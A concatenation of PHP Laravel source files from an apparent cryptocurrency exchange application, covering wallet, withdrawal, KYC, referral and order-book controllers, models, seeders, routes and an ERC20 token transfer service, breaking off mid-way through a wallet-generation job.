App\Http\Controllers\Referral; use App\Http\Controllers\Controller; use App\Models\Core\User; use App\Services\Core\DataTableService; use Illuminate\Support\Facades\Auth; class UserReferralController extends Controller { public function list() { $searchFields = [ ['first_name', __('First Name'), 'profile'], ['last_name', __('Last Name'), 'profile'], ['email', __('Email')], ['username', __('Username')], ]; $orderFields = [ ['first_name', __('First Name'), 'profile'], ['last_name', __('Last Name'), 'profile'], ['email', __('Email')], ['username', __('Username')], ['created_at', __('Registration Date')], ]; $data['title'] = __('My Referral Users'); $queryBuilder = User::with('profile') ->where('referrer_id', Auth::id()) ->orderBy('created_at', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->create($queryBuilder); return view('referral.user.index', $data); } } <file_sep><?php namespace App\Http\Controllers\Wallet; use App\Http\Controllers\Controller; use App\Models\Core\User; use App\Services\Core\DataTableService; use Illuminate\View\View; class AdminUserWalletController extends Controller { public function index(User $user): View { $searchFields = [ ['symbol', __('Symbol'), 'coin'], ['name', __('Name'), 'coin'], ]; $orderFields = [ ['symbol', __('Symbol')], ['name', __('Wallet Name')], ['primary_balance', __('Primary Balance')], ]; $filterFields = [ ['primary_balance', __('Balance'), 'preset', null, [ [__('Hide 0(zero) balance'), '>', 0], ] ], ]; $queryBuilder = $user->wallets() ->with('coin','user') ->withoutSystemWallet() ->orderBy('primary_balance', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filterFields) ->create($queryBuilder); $data['title'] = __('User Wallet: :user', ['user' => $user->profile->full_name]); return view('wallets.admin.user_wallets', $data); } } <file_sep><?php namespace App\Http\Middleware; use Closure; use Illuminate\Http\Request; class RegistrationPermission { /** * Handle an incoming request. * * @param Request $request * @param Closure $next * @return mixed */ public function handle($request, Closure $next) { if (!settings('registration_active_status')) { abort(404, __('Registration is currently disabled.')); } return $next($request); } } <file_sep><?php namespace App\Http\Controllers\Withdrawal; use App\Http\Controllers\Controller; use App\Models\Withdrawal\WalletWithdrawal; use App\Services\Core\DataTableService; use App\Services\Withdrawal\WithdrawalService; use Illuminate\Http\RedirectResponse; use Illuminate\View\View; class AdminWithdrawalReviewController extends Controller { public function index(): View { $searchFields = [ ['id', __('Reference ID')], ['address', __('Address')], ['symbol', __('Wallet')], ['email', __('Email'), 'users'], ['bank_name', __('Bank'), 'bankAccount'], ]; $orderFields = [ ['created_at', __('Date')], ['symbol', __('Wallet')] ]; $filtersFields = [ ['api', __('Payment Method'), coin_apis()] ]; $queryBuilder = WalletWithdrawal::with('user', 'bankAccount') ->where('status', STATUS_REVIEWING) ->orderBy('created_at'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setFilterFields($filtersFields) ->setOrderFields($orderFields) ->create($queryBuilder); $data['title'] = __('Review Withdrawals'); return view('withdrawal.admin.review.index', $data); } public function show(WalletWithdrawal $withdrawal): View { return app(WithdrawalService::class, [$withdrawal])->show(); } public function destroy(WalletWithdrawal $withdrawal): RedirectResponse { return app(WithdrawalService::class, [$withdrawal])->destroy(); } public function update(WalletWithdrawal $withdrawal): RedirectResponse { $response = app(WithdrawalService::class, [$withdrawal])->approve(); if ($response[RESPONSE_STATUS_KEY]) { return redirect() ->route('admin.review.withdrawals.show', $withdrawal->id) ->with(RESPONSE_TYPE_SUCCESS, $response[RESPONSE_MESSAGE_KEY]); } return redirect() ->back() ->with(RESPONSE_TYPE_ERROR, $response[RESPONSE_MESSAGE_KEY]); } } <file_sep><?php namespace App\Http\Requests\Kyc; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; use Illuminate\Validation\Rule; class UserKycVerificationRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'id_type' => [ 'required', Rule::in(array_keys(kyc_type())), ], 'id_card_front' => [ 'required', 'image', 'max:2048', ], 'id_card_back' => [ Rule::requiredIf(function () { return $this->get('id_type') != KYC_TYPE_PASSPORT; }), 'image', 'max:2048', ], ]; } } <file_sep><?php namespace App\Http\Requests\Page; use App\Models\Page\Page; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; use Illuminate\Validation\Rule; class PageRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $rules = [ 'editor_content' => 'required', 'meta_keys.*' => 'required|string', 'meta_description' => 'nullable|max:160', 'is_published' => 'required|in:' . array_to_string(active_status()), ]; $rules['title'] = [ 'required', Rule::unique('pages', 'title')->ignore($this->route('page')), 'max:255' ]; return $rules; } } <file_sep><?php namespace App\Models\Wallet; use App\Models\Coin\Coin; use App\Models\Core\User; use App\Models\Deposit\WalletDeposit; use App\Models\Order\Order; use App\Models\Withdrawal\WalletWithdrawal; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\DB; use Illuminate\Support\Str; class Wallet extends Model { public $incrementing = false; protected $keyType = 'string'; protected $casts = [ 'is_system_wallet' => 'boolean', 'is_active' => 'boolean' ]; protected $fillable = [ 'user_id', 'symbol', 'primary_balance', 'on_order_balance', 'address', 'passphrase', 'is_system_wallet', 'is_active' ]; protected static function boot(): void { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = Str::uuid()->toString(); }); } public function setPassphraseAttribute($value): void { $this->attributes['passphrase'] = encrypt($value); } public function getPassphraseAttribute($value) { return is_null($value) ? $value : decrypt($value); } public function user() { return $this->belongsTo(User::class); } public function coin(): BelongsTo { return $this->belongsTo(Coin::class, 'symbol', 'symbol'); } public function deposits(): HasMany { return $this->hasMany(WalletDeposit::class); } public function withdrawals(): HasMany { return $this->hasMany(WalletWithdrawal::class); } public function scopeWithoutSystemWallet($query) { return $query->where('is_system_wallet', INACTIVE); } public function scopeSystemWallet($query) { return $query->where('is_system_wallet', ACTIVE); } public function scopeWithOnOrderBalance($query) { $orderTypeBuy = ORDER_TYPE_BUY; $orderTypeSell = ORDER_TYPE_SELL; return $query->addSelect([ 'on_order_balance' => Order::select( DB::raw("TRUNCATE(SUM(CASE WHEN type = '{$orderTypeBuy}' AND base_coin = wallets.symbol THEN (amount-exchanged)*price WHEN type = '{$orderTypeSell}' AND trade_coin = wallets.symbol THEN (amount- exchanged) ELSE 0 END ),8)") ) ->whereIn('status', [STATUS_PENDING, STATUS_INACTIVE]) ->where('user_id', Auth::id()) ]); } } <file_sep><?php namespace App\Models\Kyc; use App\Models\Core\User; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; class KycVerification extends Model { public $incrementing = false; protected $keyType = 'string'; protected $fillable = ['id', 'user_id', 'type', 'card_image', 'status', 'reason']; public function setCardImageAttribute($value) { return $this->attributes['card_image'] = json_encode($value); } public function getCardImageAttribute() { return json_decode($this->attributes['card_image'], true); } public function user(): BelongsTo { return $this->belongsTo(User::class); } } <file_sep><?php /** @var Factory $factory */ use App\Models\BankAccount\BankAccount; use Faker\Generator as Faker; use Illuminate\Database\Eloquent\Factory; $factory->define(BankAccount::class, function (Faker $faker) { return [ 'user_id' => null, 'country_id' => $faker->numberBetween(1, 246), 'bank_name' => $faker->company, 'iban' => $faker->iban(), 'swift' => $faker->swiftBicNumber, 'reference_number' => $faker->bankAccountNumber, 'account_holder' => $faker->name, 'bank_address' => $faker->address, 'account_holder_address' => $faker->address, 'is_verified' => ACTIVE, 'is_active' => ACTIVE, ]; }); <file_sep><?php use App\Http\Controllers\Coin\AdminCoinAddressRemoveController; use App\Http\Controllers\Coin\AdminCoinApiOptionController; use App\Http\Controllers\Coin\AdminCoinController; use App\Http\Controllers\Coin\AdminCoinDepositOptionController; use App\Http\Controllers\Coin\AdminCoinIconOptionController; use App\Http\Controllers\Coin\AdminCoinRevenueGraphController; use App\Http\Controllers\Coin\AdminCoinStatusController; use App\Http\Controllers\Coin\AdminCoinWithdrawalOptionController; use App\Http\Controllers\CoinPair\AdminCoinPairController; use App\Http\Controllers\CoinPair\ChangeAdminCoinPairStatusController; use App\Http\Controllers\CoinPair\MakeDefaultAdminCoinPairController; use Illuminate\Support\Facades\Route; Route::group(['prefix' => 'admin'], function () { //Wallet Management Route::put('coins/{coin}/reset-addresses', AdminCoinAddressRemoveController::class) ->name('coins.reset-addresses'); Route::put('coins/{coin}/toggle-status', [AdminCoinStatusController::class, 'change']) ->name('coins.toggle-status'); Route::get('coins/{coin}/withdrawal/edit', [AdminCoinWithdrawalOptionController::class, 'edit']) ->name('coins.withdrawal.edit'); Route::put('coins/{coin}/withdrawal/update', [AdminCoinWithdrawalOptionController::class, 'update']) ->name('coins.withdrawal.update'); Route::post('coins/{coin}/icon/update', [AdminCoinIconOptionController::class, 'update']) ->name('coins.icon.update'); Route::get('coins/{coin}/deposit/edit', [AdminCoinDepositOptionController::class, 'edit']) ->name('coins.deposit.edit'); Route::put('coins/{coin}/deposit/update', [AdminCoinDepositOptionController::class, 'update']) ->name('coins.deposit.update'); Route::get('coins/{coin}/api/edit', [AdminCoinApiOptionController::class, 'edit']) ->name('coins.api.edit'); Route::put('coins/{coin}/api/update', [AdminCoinApiOptionController::class, 'update']) ->name('coins.api.update'); Route::get('coins/{coin}/revenue-graph', [AdminCoinRevenueGraphController::class, 'index']) ->name('coins.revenue-graph'); Route::get('coins/{coin}/revenue-graph/deposit', [AdminCoinRevenueGraphController::class, 'getDepositRevenueGraphData']) ->name('coins.revenue-graph.deposit'); Route::get('coins/{coin}/revenue-graph/withdrawal', [AdminCoinRevenueGraphController::class, 'getWithdrawalRevenueGraphData']) ->name('coins.revenue-graph.withdrawal'); Route::get('coins/{coin}/revenue-graph/trade-revenue', [AdminCoinRevenueGraphController::class, 'getTradeRevenueGraphData']) ->name('coins.revenue-graph.trade-revenue'); Route::resource('coins', AdminCoinController::class) ->names('coins') ->except('destroy', 'show'); //Wallet Pair Management Route::put('coin-pairs/{coinPair}/toggle-status', [ChangeAdminCoinPairStatusController::class, 'change']) ->name('coin-pairs.toggle-status'); Route::put('coin-pairs/{coinPair}/make-status-default', MakeDefaultAdminCoinPairController::class) ->name('coin-pairs.make-status-default'); Route::resource('coin-pairs', AdminCoinPairController::class) ->except('show') ->names('coin-pairs'); }); <file_sep><?php /** @var Factory $factory */ use App\Models\Core\User; use App\Models\Withdrawal\WalletWithdrawal; use Faker\Generator as Faker; use Illuminate\Database\Eloquent\Factory; $factory->define(WalletWithdrawal::class, function (Faker $faker) { $user = User::inRandomOrder()->first(); $wallet = $user->wallets()->inRandomOrder()->with('coin')->first(); $bankAccountId = null; $address = $faker->shuffleString('tb1qur5j7297t0n8w0gtjke0jyl2vamfvs5rn52vuv'); $amount = $wallet->coin->type === COIN_TYPE_FIAT ? $faker->randomFloat(8, 500, 2000) : $faker->randomFloat(8, 0.001, 0.99); if (is_array($wallet->coin->api['selected_apis']) && in_array(API_BANK, $wallet->coin->api['selected_apis'])) { $bankAccountId = $user->banks()->inRandomOrder()->first()->id; $address = null; } return [ 'user_id' => $user->id, 'wallet_id' => $wallet->id, 'bank_account_id' => $bankAccountId, 'symbol' => $wallet->symbol, 'address' => $address, 'amount' => $amount, 'system_fee' => bcdiv(bcmul($amount, '2'), '100'), 'txn_id' => $wallet->coin->type === COIN_TYPE_FIAT ? Str::uuid()->toString() : $faker->shuffleString('5ddb7258688c24344f2b86769ff84bfe3041fdf5c2a1d4761ee727dbd77bae7e'), 'api' => $wallet->coin->type === COIN_TYPE_FIAT ? $faker->randomElement($wallet->coin->api['selected_apis']) : $wallet->coin->api['selected_apis'], 'status' => $faker->boolean(60) ? STATUS_COMPLETED : STATUS_REVIEWING, 'created_at' => $faker->dateTimeThisMonth, 'updated_at' => $faker->dateTimeThisMonth ]; }); <file_sep><?php namespace App\Http\Controllers\Coin; use App\Http\Controllers\Controller; use App\Models\Coin\Coin; use App\Models\Exchange\Exchange; use Carbon\Carbon; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; class AdminCoinRevenueGraphController extends Controller { public function index(Request $request, Coin $coin) { $data['title'] = __('Revenue Graph Of :coin', ['coin' => $coin->symbol]); $data['depositInfo'] = $coin->deposits() ->select(DB::raw("sum(amount) as total_deposit"), DB::raw("sum(system_fee) as total_revenue")) ->where('status', STATUS_COMPLETED) ->first(); $data['withdrawalInfo'] = $coin->withdrawals() ->select(DB::raw("sum(amount) as total_withdrawal"), DB::raw("sum(system_fee) as total_revenue")) ->where('status', STATUS_COMPLETED) ->first(); $data['tradeInfo'] = Exchange::select( DB::raw("sum(amount) as total_trade"), DB::raw("sum(fee) as gross_revenue")) ->where(function ($q) use ($coin) { $q->where('base_coin', $coin->symbol) ->where('order_type', ORDER_TYPE_SELL); })->orWhere(function ($q) use ($coin) { $q->where('trade_coin', $coin->symbol) ->where('order_type', ORDER_TYPE_BUY); }) ->first(); $data['coin'] = $coin; return view('coins.admin.revenue-graph', $data); } public function getDepositRevenueGraphData(Coin $coin): JsonResponse { $date = Carbon::now(); $deposits = $coin->deposits() ->select( DB::raw("DATE_FORMAT(created_at, '%e') as day"), DB::raw("sum(amount) as total"), DB::raw("sum(system_fee) as revenue") ) ->whereYear('created_at', $date->format('Y')) ->whereMonth('created_at', $date->format('m')) ->where('status', STATUS_COMPLETED) ->groupBy('day') ->get() ->groupBy('day') ->toArray(); $depositRevenueGraph['total_deposit'] = 0; $depositRevenueGraph['total_revenue'] = 0; foreach (range(1, intval($date->endOfMonth()->format('d'))) as $day) { $depositRevenueGraph['days'][] = $day; $depositRevenueGraph['revenues'][] = isset($deposits[$day]) ? $deposits[$day][0]['revenue'] : 0; $depositRevenueGraph['total_deposit'] = bcadd($depositRevenueGraph['total_deposit'], isset($deposits[$day]) ? $deposits[$day][0]['total'] : 0); $depositRevenueGraph['total_revenue'] = bcadd($depositRevenueGraph['total_revenue'], isset($deposits[$day]) ? $deposits[$day][0]['revenue'] : 0); } ksort($depositRevenueGraph); return response()->json(['depositRevenueGraph' => $depositRevenueGraph]); } public function getWithdrawalRevenueGraphData(Coin $coin): JsonResponse { $date = Carbon::now(); $withdrawals = $coin->withdrawals() ->select( DB::raw("DATE_FORMAT(created_at, '%e') as day"), DB::raw("sum(amount) as total"), DB::raw("sum(system_fee) as revenue") ) ->whereYear('created_at', $date->format('Y')) ->whereMonth('created_at', $date->format('m')) ->where('status', STATUS_COMPLETED) ->groupBy('day') ->get() ->groupBy('day') ->toArray(); $withdrawalRevenueGraph['total_withdrawal'] = 0; $withdrawalRevenueGraph['total_revenue'] = 0; foreach (range(1, intval($date->endOfMonth()->format('d'))) as $day) { $withdrawalRevenueGraph['days'][] = $day; $withdrawalRevenueGraph['revenues'][] = isset($withdrawals[$day]) ? $withdrawals[$day][0]['revenue'] : 0; $withdrawalRevenueGraph['total_withdrawal'] = bcadd( $withdrawalRevenueGraph['total_withdrawal'], isset($withdrawals[$day]) ? $withdrawals[$day][0]['total'] : 0 ); $withdrawalRevenueGraph['total_revenue'] = bcadd( $withdrawalRevenueGraph['total_revenue'], isset($withdrawals[$day]) ? $withdrawals[$day][0]['revenue'] : 0 ); } ksort($withdrawalRevenueGraph); return response()->json(['withdrawalRevenueGraph' => $withdrawalRevenueGraph]); } public function getTradeRevenueGraphData(Coin $coin): JsonResponse { $date = Carbon::now(); $exchanges = Exchange::select( DB::raw("DATE_FORMAT(created_at, '%e') as day"), DB::raw("sum(amount) as total"), DB::raw("sum(fee) as gross_revenue"), DB::raw("sum(referral_earning) as referral_expense")) ->where(function ($query) use ($coin) { $query->where(function ($q) use ($coin) { $q->where('base_coin', $coin->symbol) ->where('order_type', ORDER_TYPE_SELL); })->orWhere(function ($q) use ($coin) { $q->where('trade_coin', $coin->symbol) ->where('order_type', ORDER_TYPE_BUY); }); }) ->whereYear('created_at', $date->format('Y')) ->whereMonth('created_at', $date->format('m')) ->groupBy('day') ->get() ->groupBy('day') ->toArray(); $tradeRevenueGraph['total_trade'] = 0; $tradeRevenueGraph['total_gross_revenue'] = 0; $tradeRevenueGraph['total_net_revenue'] = 0; $tradeRevenueGraph['total_referral_expense'] = 0; foreach (range(1, intval($date->endOfMonth()->format('d'))) as $day) { $totalTrade = isset($exchanges[$day]) ? $exchanges[$day][0]['total'] : 0; $grossRevenue = isset($exchanges[$day]) ? $exchanges[$day][0]['gross_revenue'] : 0; $referralExpense = isset($exchanges[$day]) ? $exchanges[$day][0]['referral_expense'] : 0; $netRevenue = bcsub($grossRevenue, $referralExpense); $tradeRevenueGraph['days'][] = $day; $tradeRevenueGraph['gross_revenues'][] = $grossRevenue; $tradeRevenueGraph['net_revenues'][] = $netRevenue; $tradeRevenueGraph['referral_expenses'][] = $referralExpense; $tradeRevenueGraph['total_trade'] = bcadd($tradeRevenueGraph['total_trade'], $totalTrade); $tradeRevenueGraph['total_gross_revenue'] = bcadd($tradeRevenueGraph['total_gross_revenue'], $grossRevenue); $tradeRevenueGraph['total_net_revenue'] = bcadd($tradeRevenueGraph['total_net_revenue'], $netRevenue); $tradeRevenueGraph['total_referral_expense'] = bcadd($tradeRevenueGraph['total_referral_expense'], $referralExpense); } ksort($tradeRevenueGraph); return response()->json(['tradeRevenueGraph' => $tradeRevenueGraph]); } } <file_sep><?php use App\Models\Core\User; use App\Models\Exchange\Exchange; use App\Models\Order\Order; use Carbon\Carbon; use Faker\Factory; use Illuminate\Database\Seeder; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Schema; use Illuminate\Support\Str; class OrdersTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { Schema::disableForeignKeyConstraints(); DB::table('exchanges')->truncate(); DB::table('orders')->truncate(); Schema::enableForeignKeyConstraints(); $faker = Factory::create(); $startDate = Carbon::now()->subDays(30)->startOfDay(); $endDate = Carbon::now(); $orders = []; $exchanges = []; $orderSlice = random_int(100, 200); $trend = $faker->boolean; $currentPrice = 9640; while ($startDate <= $endDate) { $orderType = $faker->randomElement([ORDER_TYPE_BUY, ORDER_TYPE_SELL]); $min = $max = $currentPrice; if ($trend) { $max = bcadd($currentPrice, 5); } else { $min = bcsub($currentPrice, 5); } $price = $currentPrice = $faker->randomFloat(8, $min, $max); $amount = $faker->randomFloat(8, 0.003, 0.99); $intervalDate = Carbon::parse(intval($startDate->unix() / 300) * 300); if ($startDate->equalTo($intervalDate) && count($orders) > 0) { $price = end($orders)['price']; } $orders[] = $order1 = [ 'id' => Str::uuid()->toString(), 'user_id' => User::inRandomOrder()->first()->id, 'trade_coin' => 'BTC', 'base_coin' => 'USD', 'trade_pair' => 'BTC_USD', 'category' => ORDER_CATEGORY_LIMIT, 'type' => $orderType, 'price' => $price, 'amount' => $amount, 'total' => bcmul($price, $amount), 'maker_fee_in_percent' => settings('exchange_maker_fee'), 'taker_fee_in_percent' => settings('exchange_taker_fee'), 'status' => STATUS_COMPLETED, 'created_at' => $startDate->toDateTimeString(), 'updated_at' => $startDate->toDateTimeString(), ]; $orders[] = $order2 = [ 'id' => Str::uuid()->toString(), 'user_id' => User::inRandomOrder()->first()->id, 'trade_coin' => 'BTC', 'base_coin' => 'USD', 'trade_pair' => 'BTC_USD', 'category' => ORDER_CATEGORY_LIMIT, 'type' => $orderType == ORDER_TYPE_BUY ? ORDER_TYPE_SELL : ORDER_TYPE_BUY, 'price' => $price, 'amount' => $amount, 'total' => bcmul($price, $amount), 'maker_fee_in_percent' => settings('exchange_maker_fee'), 'taker_fee_in_percent' => settings('exchange_taker_fee'), 'status' => STATUS_COMPLETED, 'created_at' => $startDate->toDateTimeString(), 'updated_at' => $startDate->toDateTimeString(), ]; $exchanges[] = [ 'id' => Str::uuid()->toString(), 'user_id' => $order1['user_id'], 'order_id' => $order1['id'], 'trade_coin' => $order1['trade_coin'], 'base_coin' => $order1['base_coin'], 'trade_pair' => $order1['trade_pair'], 'amount' => $order1['amount'], 'price' => $order1['price'], 'total' => $order1['total'], 'fee' => $this->calculateTradeFee($order1, $order1['amount'], $order1['total'], true), 'order_type' => $order1['type'], 'related_order_id' => $order2['id'], 'is_maker' => true, 'created_at' => $startDate->toDateTimeString(), 'updated_at' => $startDate->toDateTimeString(), ]; $exchanges[] = [ 'id' => Str::uuid()->toString(), 'user_id' => $order2['user_id'], 'order_id' => $order2['id'], 'trade_coin' => $order2['trade_coin'], 'base_coin' => $order2['base_coin'], 'trade_pair' => $order2['trade_pair'], 'amount' => $order2['amount'], 'price' => $order2['price'], 'total' => $order2['total'], 'fee' => $this->calculateTradeFee($order2, $order2['amount'], $order2['total'], false), 'order_type' => $order2['type'], 'related_order_id' => $order1['id'], 'is_maker' => false, 'created_at' => $startDate->toDateTimeString(), 'updated_at' => $startDate->toDateTimeString(), ]; $orderSlice--; if ($orderSlice === 0) { $trend = $faker->boolean; $orderSlice = random_int(100, 200); } $startDate->addMinute(); } foreach (array_chunk($orders, 1000) as $chunkOrders) { Order::insert($chunkOrders); } foreach (array_chunk($exchanges, 1000) as $chunkExchanges) { Exchange::insert($chunkExchanges); } } private function calculateTradeFee($order, $amount, $total, $isMaker) { $feePercent = $isMaker ? $order['maker_fee_in_percent'] : $order['taker_fee_in_percent']; return bcdiv(bcmul($order['type'] === ORDER_TYPE_BUY ? $amount : $total, $feePercent), '100'); } } <file_sep><?php namespace App\Http\Controllers\CoinPair; use App\Http\Controllers\Controller; use App\Models\Coin\CoinPair; use Exception; use Illuminate\Http\RedirectResponse; use Illuminate\Support\Facades\DB; class MakeDefaultAdminCoinPairController extends Controller { public function __invoke(CoinPair $coinPair): RedirectResponse { if ($coinPair->is_default == ACTIVE) { return redirect()->back()->with(RESPONSE_TYPE_WARNING, __('This coin is already assigned as default.')); } DB::beginTransaction(); try { $previousDefaultCoinPair = CoinPair::where(['is_default' => ACTIVE])->first(); if(!empty($previousDefaultCoinPair)){ $previousDefaultCoinPair->update(['is_default' => INACTIVE]); } $updateDefaultCoinPair = $coinPair->update(['is_default' => ACTIVE]); if (!$updateDefaultCoinPair) { throw new Exception(__('Failed to make default.')); } } catch (Exception $exception) { DB::rollBack(); logs()->error("Make default coin pair: " . $exception->getMessage()); return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to make default.')); } DB::commit(); return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('The coin pair has been made default successfully.')); } } <file_sep><?php namespace App\Jobs\Withdrawal; use App\Override\Logger; use App\Services\Withdrawal\WithdrawalService; use Exception; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\DB; class WithdrawalConfirmationJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; private $withdrawal; private $payload; public function __construct($withdrawal, $payload) { $this->withdrawal = $withdrawal->withoutRelations(); $this->payload = $payload; } /** * Execute the job. * * @return void */ public function handle() { DB::beginTransaction(); try { if ($this->payload['status'] === STATUS_COMPLETED) { $this->withdrawal->update([ 'status' => $this->payload['status'], 'txn_id' => $this->payload['txn_id'] ]); } else if ($this->payload['status'] === STATUS_FAILED) { app(WithdrawalService::class, [$this->withdrawal])->cancel(); } } catch (Exception $exception) { Logger::error($exception, "[FAILED][WithdrawalConfirmationJob]"); DB::rollBack(); } DB::commit(); } } <file_sep><?php namespace App\Http\Controllers\Exchange; use App\Http\Controllers\Controller; use App\Models\Order\Order; use Illuminate\Database\Eloquent\Collection; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; class OrderController extends Controller { public function __invoke(Request $request): JsonResponse { $conditions = $this->_conditions($request); return response()->json([ 'coinOrders' => $this->_getOrders($conditions), 'totalCoinOrder' => $this->_getTotalOrder($conditions) ]); } public function _conditions($request): array { $conditions = [ 'trade_pair' => $request->coin_pair, 'type' => $request->order_type, 'status' => STATUS_PENDING ]; if (!empty($request->last_price)) { $request->get('order_type') === ORDER_TYPE_SELL ? array_push($conditions, ['price', '>', $request->last_price]) : array_push($conditions, ['price', '<', $request->last_price]); } return $conditions; } public function _getOrders($conditions): Collection { return Order::where($conditions) ->select([ 'price', DB::raw('TRUNCATE(SUM(amount - exchanged), 8) as amount'), DB::raw('TRUNCATE((price*SUM(amount - exchanged)), 8) as total') ]) ->whereIn('category', [ORDER_CATEGORY_LIMIT, ORDER_CATEGORY_STOP_LIMIT]) ->when( $conditions['type'] === ORDER_TYPE_BUY, static function ($query) { $query->orderBy('price', 'desc'); }, static function ($query) { $query->orderBy('price', 'asc'); } ) ->groupBy('price') ->take(50) ->get(); } public function _getTotalOrder($conditions): Order { return Order::where($conditions) ->select([ DB::raw('TRUNCATE(SUM((amount - exchanged)*price), 8) as base_coin_total'), DB::raw('TRUNCATE(SUM(amount - exchanged), 8) as trade_coin_total') ]) ->first(); } } <file_sep><?php namespace App\Services\Core; use App\Models\Core\Country; class CountryService { public function getCountries(): array { return Country::where(['is_active' => ACTIVE])->pluck('name', 'id')->toArray(); } } <file_sep><?php namespace App\Models\Post; use App\Models\Core\User; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Support\Str; class PostComment extends Model { public $incrementing = false; protected $keyType = 'string'; protected $fillable = [ 'user_id', 'post_id', 'post_comment_id', 'content', ]; protected static function boot(): void { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = Str::uuid()->toString(); }); } public function user(): BelongsTo { return $this->belongsTo(User::class); } public function commentReplies(): HasMany { return $this->hasMany(PostComment::class); } public function post(): BelongsTo { return $this->belongsTo(Post::class); } public function parentPostComment(): BelongsTo { return $this->belongsTo(__CLASS__); } } <file_sep><?php namespace App\Services\Api; use App\Repositories\User\Admin\Interfaces\StockItemInterface; use App\Repositories\User\Trader\Eloquent\WalletRepository; use Carbon\Carbon; use Exception; use Illuminate\Support\Facades\DB; use Larathereum\Facades\Util; use Larathereum\Types\Address; use Larathereum\Types\Transaction; class ERC20TokenApi extends EthereumApi { protected $systemEthereum; public function __construct() { @parent::__construct(); $this->systemEthereum = app(StockItemInterface::class)->getSystemEthereum(); } public function sendToAddress($address, $amount) { try { if (empty($this->systemEthereum)) { throw new Exception('Ethereum coin could not found in this system.'); } if (empty($this->stockItem)) { throw new Exception('Set stock item before call this method.'); } if (empty($this->stockItem->token)) { throw new Exception('Stock item token_id cannot be null.'); } $token = $this->stockItem->token; $networkFee = $this->stockItem->delegate_fee; $transferAmount = bcsub($amount, $networkFee); $networkFee = Util::toWei($networkFee, 'ether'); $transferAmount = Util::toWei($transferAmount, 'ether'); $contract = $response2 = $this->client->contract()->abi($token->abi)->at($token->contract_address); $nonce = $contract->call('getNextNonce', $this->stockItem->systemWallet->address)->toString(); $hash = $contract->call('signedTransferHash', $this->stockItem->systemWallet->address, $address, $transferAmount, $networkFee, $nonce); $sig = $this->client->personal()->sign($hash, new Address($this->stockItem->systemWallet->address), $this->stockItem->systemWallet->passphrase); $transaction = new Transaction( new Address($this->systemEthereum->systemWallet->address), null, null, $this->stockItem->minimum_gas_limit ); $response = $contract->send('signedTransfer', $this->stockItem->systemWallet->address, $address, $transferAmount, $networkFee, $nonce, $sig, $this->stockItem->systemWallet->address, $transaction, $this->systemEthereum->systemWallet->passphrase); if ($response) { return [ 'error' => 'ok', 'result' => [ 'txn_id' => $response->toString(), 'network_fee' => $this->stockItem->delegate_fee ], ]; } } catch (Exception $exception) { return ['error' => $exception->getMessage()]; } return ['error' => 'Failed to send.']; } public function moveToSystemAddress($address, $amount, $networkFee, $passphrase) { try { if (empty($this->systemEthereum)) { throw new Exception('Ethereum coin could not found in this system.'); } if (empty($this->stockItem)) { throw new Exception('Set stock item before call this method.'); } if (empty($this->stockItem->token)) { throw new Exception('Stock item token_id cannot be null.'); } $token = $this->stockItem->token; $fee = Util::toWei($networkFee, 'ether'); $transferAmount = Util::toWei($amount, 'ether'); $contract = $response2 = $this->client->contract()->abi($token->abi)->at($token->contract_address); $nonce = $contract->call('getNextNonce', $address)->toString(); $hash = $contract->call('signedTransferHash', $address, $this->stockItem->systemWallet->address, $transferAmount, $fee, $nonce); $sig = $this->client->personal()->sign($hash, new Address($address), $passphrase); $transaction = new Transaction( new Address($this->systemEthereum->systemWallet->address), null, null, $this->stockItem->minimum_gas_limit ); $response = $contract->send('signedTransfer', $address, $this->stockItem->systemWallet->address, $transferAmount, $fee, $nonce, $sig, $this->stockItem->systemWallet->address, $transaction, $this->systemEthereum->systemWallet->passphrase); if (!empty($response)) { return ['tx_id' => $response->toString()]; } } catch (Exception $exception) { return ['error' => $exception->getMessage()]; } return ['error' => 'Failed to send.']; } }<file_sep><?php namespace App\Jobs\Wallet; use App\Models\Coin\Coin; use App\Models\Wallet\Wallet; use App\Models\Core\User; use App\Override\Logger; use Carbon\Carbon; use Exception; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Str; class GenerateUsersWalletsJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; protected $coin; public function __construct(Coin $coin) { $this->queue = 'default_long'; $this->connection = 'redis-long-running'; $this->coin = $coin; } public function handle() { // Retrieve super admin user $admin = User::superAdmin()->first(); if (empty($admin)) { return; } //Retrieve system wallet $systemWallet = 